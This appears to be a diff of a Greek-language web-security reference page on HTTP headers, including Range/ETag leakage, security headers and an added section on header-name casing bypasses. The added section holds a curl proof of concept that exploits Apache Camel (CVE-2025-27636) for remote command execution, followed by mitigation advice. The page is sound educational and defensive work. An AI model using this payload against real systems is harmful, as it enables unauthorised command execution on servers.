Για παράδειγμα, ένας συνδυασμός **`Range`** και **`Etag`** σε μια αίτηση HEAD μπορεί να διαρρεύσει το περιεχόμενο της σελίδας μέσω αιτήσεων HEAD:
- Μια αίτηση με την επικεφαλίδα `Range: bytes=20-20` και με μια απάντηση που περιέχει `ETag: W/"1-eoGvPlkaxxP4HqHv6T3PNhV9g3Y"` διαρρέει ότι το SHA1 του byte 20 είναι `ETag: eoGvPlkaxxP4HqHv6T3PNhV9g3Y`
- Μια αίτηση με την κεφαλίδα `Range: bytes=20-20` και με μια απάντηση που περιέχει `ETag: W/"1-eoGvPlkaxxP4HqHv6T3PNhV9g3Y"` διαρρέει ότι το SHA1 του byte 20 είναι `ETag: eoGvPlkaxxP4HqHv6T3PNhV9g3Y`
## Πληροφορίες Διακομιστή
@ -108,12 +108,12 @@
## Έλεγχοι
- **`Allow`**: Αυτή η επικεφαλίδα χρησιμοποιείται για να επικοινωνήσει τις HTTP μεθόδους που μπορεί να χειριστεί ένας πόρος. Για παράδειγμα, μπορεί να καθοριστεί ως `Allow: GET, POST, HEAD`, υποδεικνύοντας ότι ο πόρος υποστηρίζει αυτές τις μεθόδους.
- **`Expect`**: Χρησιμοποιείται από τον πελάτη για να μεταφέρει προσδοκίες που πρέπει να πληροί ο διακομιστής για να επεξεργαστεί επιτυχώς την αίτηση. Μια κοινή περίπτωση χρήσης περιλαμβάνει την επικεφαλίδα `Expect: 100-continue`, η οποία σηματοδοτεί ότι ο πελάτης σκοπεύει να στείλει ένα μεγάλο φορτίο δεδομένων. Ο πελάτης αναζητά μια απάντηση `100 (Continue)` πριν προχωρήσει με τη μετάδοση. Αυτός ο μηχανισμός βοηθά στη βελτιστοποίηση της χρήσης του δικτύου περιμένοντας την επιβεβαίωση του διακομιστή.
- **`Allow`**: Αυτή η κεφαλίδα χρησιμοποιείται για να επικοινωνήσει τις μεθόδους HTTP που μπορεί να χειριστεί ένας πόρος. Για παράδειγμα, μπορεί να καθοριστεί ως `Allow: GET, POST, HEAD`, υποδεικνύοντας ότι ο πόρος υποστηρίζει αυτές τις μεθόδους.
- **`Expect`**: Χρησιμοποιείται από τον πελάτη για να μεταφέρει προσδοκίες που πρέπει να πληροί ο διακομιστής για να επεξεργαστεί επιτυχώς την αίτηση. Μια κοινή περίπτωση χρήσης περιλαμβάνει την κεφαλίδα `Expect: 100-continue`, η οποία σηματοδοτεί ότι ο πελάτης σκοπεύει να στείλει ένα μεγάλο φορτίο δεδομένων. Ο πελάτης αναζητά μια απάντηση `100 (Continue)` πριν προχωρήσει με τη μετάδοση. Αυτός ο μηχανισμός βοηθά στη βελτιστοποίηση της χρήσης του δικτύου περιμένοντας επιβεβαίωση από τον διακομιστή.
## Λήψεις
- Η **`Content-Disposition`** επικεφαλίδα στις HTTP απαντήσεις κατευθύνει αν ένα αρχείο πρέπει να εμφανίζεται **inline** (μέσα στη σελίδα) ή να αντιμετωπίζεται ως **συνημμένο** (κατεβασμένο). Για παράδειγμα:
- Η **`Content-Disposition`** κεφαλίδα στις απαντήσεις HTTP καθορίζει αν ένα αρχείο πρέπει να εμφανίζεται **inline** (μέσα στη σελίδα) ή να αντιμετωπίζεται ως **συνημμένο** (κατεβασμένο). Για παράδειγμα:
```
Content-Disposition: attachment; filename="filename.jpg"
```
@ -129,7 +129,7 @@ Content-Disposition: attachment; filename="filename.jpg"
### **Trusted Types**
Με την επιβολή των Trusted Types μέσω CSP, οι εφαρμογές μπορούν να προστατευτούν από επιθέσεις DOM XSS. Τα Trusted Types διασφαλίζουν ότι μόνο ειδικά κατασκευασμένα αντικείμενα, που συμμορφώνονται με τις καθορισμένες πολιτικές ασφαλείας, μπορούν να χρησιμοποιηθούν σε επικίνδυνες κλήσεις web API, εξασφαλίζοντας έτσι τον κώδικα JavaScript από προεπιλογή.
Με την επιβολή των Trusted Types μέσω CSP, οι εφαρμογές μπορούν να προστατευτούν από επιθέσεις DOM XSS. Οι Trusted Types διασφαλίζουν ότι μόνο ειδικά κατασκευασμένα αντικείμενα, που συμμορφώνονται με τις καθορισμένες πολιτικές ασφαλείας, μπορούν να χρησιμοποιηθούν σε επικίνδυνες κλήσεις web API, εξασφαλίζοντας έτσι τον κώδικα JavaScript από προεπιλογή.
```javascript
// Feature detection
if (window.trustedTypes && trustedTypes.createPolicy) {
@ -154,7 +154,7 @@ X-Content-Type-Options: nosniff
```
### **X-Frame-Options**
Για να καταπολεμηθεί το clickjacking, αυτή η κεφαλίδα περιορίζει το πώς μπορούν να ενσωματωθούν έγγραφα σε `<frame>`, `<iframe>`, `<embed>`, ή `<object>` ετικέτες, προτείνοντας σε όλα τα έγγραφα να καθορίζουν ρητά τις άδειες ενσωμάτωσής τους.
Για να καταπολεμηθεί το clickjacking, αυτή η κεφαλίδα περιορίζει το πώς μπορούν να ενσωματωθούν έγγραφα σε `<frame>`, `<iframe>`, `<embed>`, ή `<object>` tags, προτείνοντας σε όλα τα έγγραφα να καθορίζουν ρητά τις άδειες ενσωμάτωσής τους.
```
X-Frame-Options: DENY
```
@ -179,8 +179,43 @@ Cross-Origin-Opener-Policy: same-origin-allow-popups
```
Strict-Transport-Security: max-age=3153600
```
## Header Name Casing Bypass
HTTP/1.1 ορίζει τα ονόματα πεδίων κεφαλίδας ως **case-insensitive** (RFC 9110 §5.1). Παρ' όλα αυτά, είναι πολύ συνηθισμένο να βρίσκουμε προσαρμοσμένο middleware, φίλτρα ασφαλείας ή επιχειρηματική λογική που συγκρίνουν το *literal* όνομα κεφαλίδας που λαμβάνεται χωρίς να κανονικοποιούν πρώτα την περίπτωση (π.χ. `header.equals("CamelExecCommandExecutable")`). Αν αυτές οι έλεγχοι εκτελούνται **case-sensitively**, ένας επιτιθέμενος μπορεί να τους παρακάμψει απλά στέλνοντας την ίδια κεφαλίδα με διαφορετική κεφαλαιοποίηση.
Τυπικές καταστάσεις όπου εμφανίζεται αυτό το λάθος:
* Προσαρμοσμένες λίστες επιτρεπόμενων/απαγορευμένων που προσπαθούν να μπλοκάρουν “επικίνδυνες” εσωτερικές κεφαλίδες πριν η αίτηση φτάσει σε ένα ευαίσθητο συστατικό.
* Εσωτερικές υλοποιήσεις ψευδοκεφαλίδων reverse-proxy (π.χ. απολύμανση `X-Forwarded-For`).
* Πλαίσια που εκθέτουν διαχειριστικά / αποσφαλμάτωσης endpoints και βασίζονται σε ονόματα κεφαλίδων για αυθεντικοποίηση ή επιλογή εντολών.
### Abusing the bypass
1. Εντοπίστε μια κεφαλίδα που φιλτράρεται ή επικυρώνεται από την πλευρά του διακομιστή (για παράδειγμα, διαβάζοντας τον πηγαίο κώδικα, την τεκμηρίωση ή τα μηνύματα σφάλματος).
2. Στείλτε την **ίδια κεφαλίδα με διαφορετική περίπτωση** (μικτή ή κεφαλαία). Δεδομένου ότι οι στοίβες HTTP συνήθως κανονικοποιούν τις κεφαλίδες μόνο *μετά* την εκτέλεση του κώδικα χρήστη, ο ευάλωτος έλεγχος μπορεί να παρακαμφθεί.
3. Αν το downstream συστατικό αντιμετωπίζει τις κεφαλίδες με τρόπο case-insensitive (οι περισσότερες το κάνουν), θα αποδεχτεί την τιμή που ελέγχεται από τον επιτιθέμενο.
### Example: Apache Camel `exec` RCE (CVE-2025-27636)
Σε ευάλωτες εκδόσεις του Apache Camel, οι διαδρομές του *Command Center* προσπαθούν να μπλοκάρουν μη αξιόπιστες αιτήσεις αφαιρώντας τις κεφαλίδες `CamelExecCommandExecutable` και `CamelExecCommandArgs`. Η σύγκριση έγινε με `equals()` οπότε μόνο τα ακριβή ονόματα σε πεζά γράμματα αφαιρέθηκαν.
```bash
# Bypass the filter by using mixed-case header names and execute `ls /` on the host
curl "http://<IP>/command-center" \
-H "CAmelExecCommandExecutable: ls" \
-H "CAmelExecCommandArgs: /"
```
Οι κεφαλίδες φτάνουν στο `exec` συστατικό χωρίς φιλτράρισμα, με αποτέλεσμα την απομακρυσμένη εκτέλεση εντολών με τα δικαιώματα της διαδικασίας Camel.
### Ανίχνευση & Ελάφρυνση
* Κανονικοποιήστε όλα τα ονόματα κεφαλίδων σε μία μόνο περίπτωση (συνήθως πεζά) **πριν** από την εκτέλεση συγκρίσεων επιτρεπόμενων/απαγορευμένων.
* Απορρίψτε ύποπτες διπλοτυπίες: αν είναι παρούσες και οι δύο `Header:` και `HeAdEr:`, αντιμετωπίστε το ως ανωμαλία.
* Χρησιμοποιήστε μια θετική λίστα επιτρεπόμενων που επιβάλλεται **μετά** την κανονικοποίηση.
* Προστατέψτε τα διαχειριστικά σημεία με αυθεντικοποίηση και δικτυακή τμηματοποίηση.
## Αναφορές
- [CVE-2025-27636 RCE in Apache Camel via header casing bypass (OffSec blog)](https://www.offsec.com/blog/cve-2025-27636/)
- [https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Disposition](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Disposition)
- [https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers)
- [https://web.dev/security-headers/](https://web.dev/security-headers/)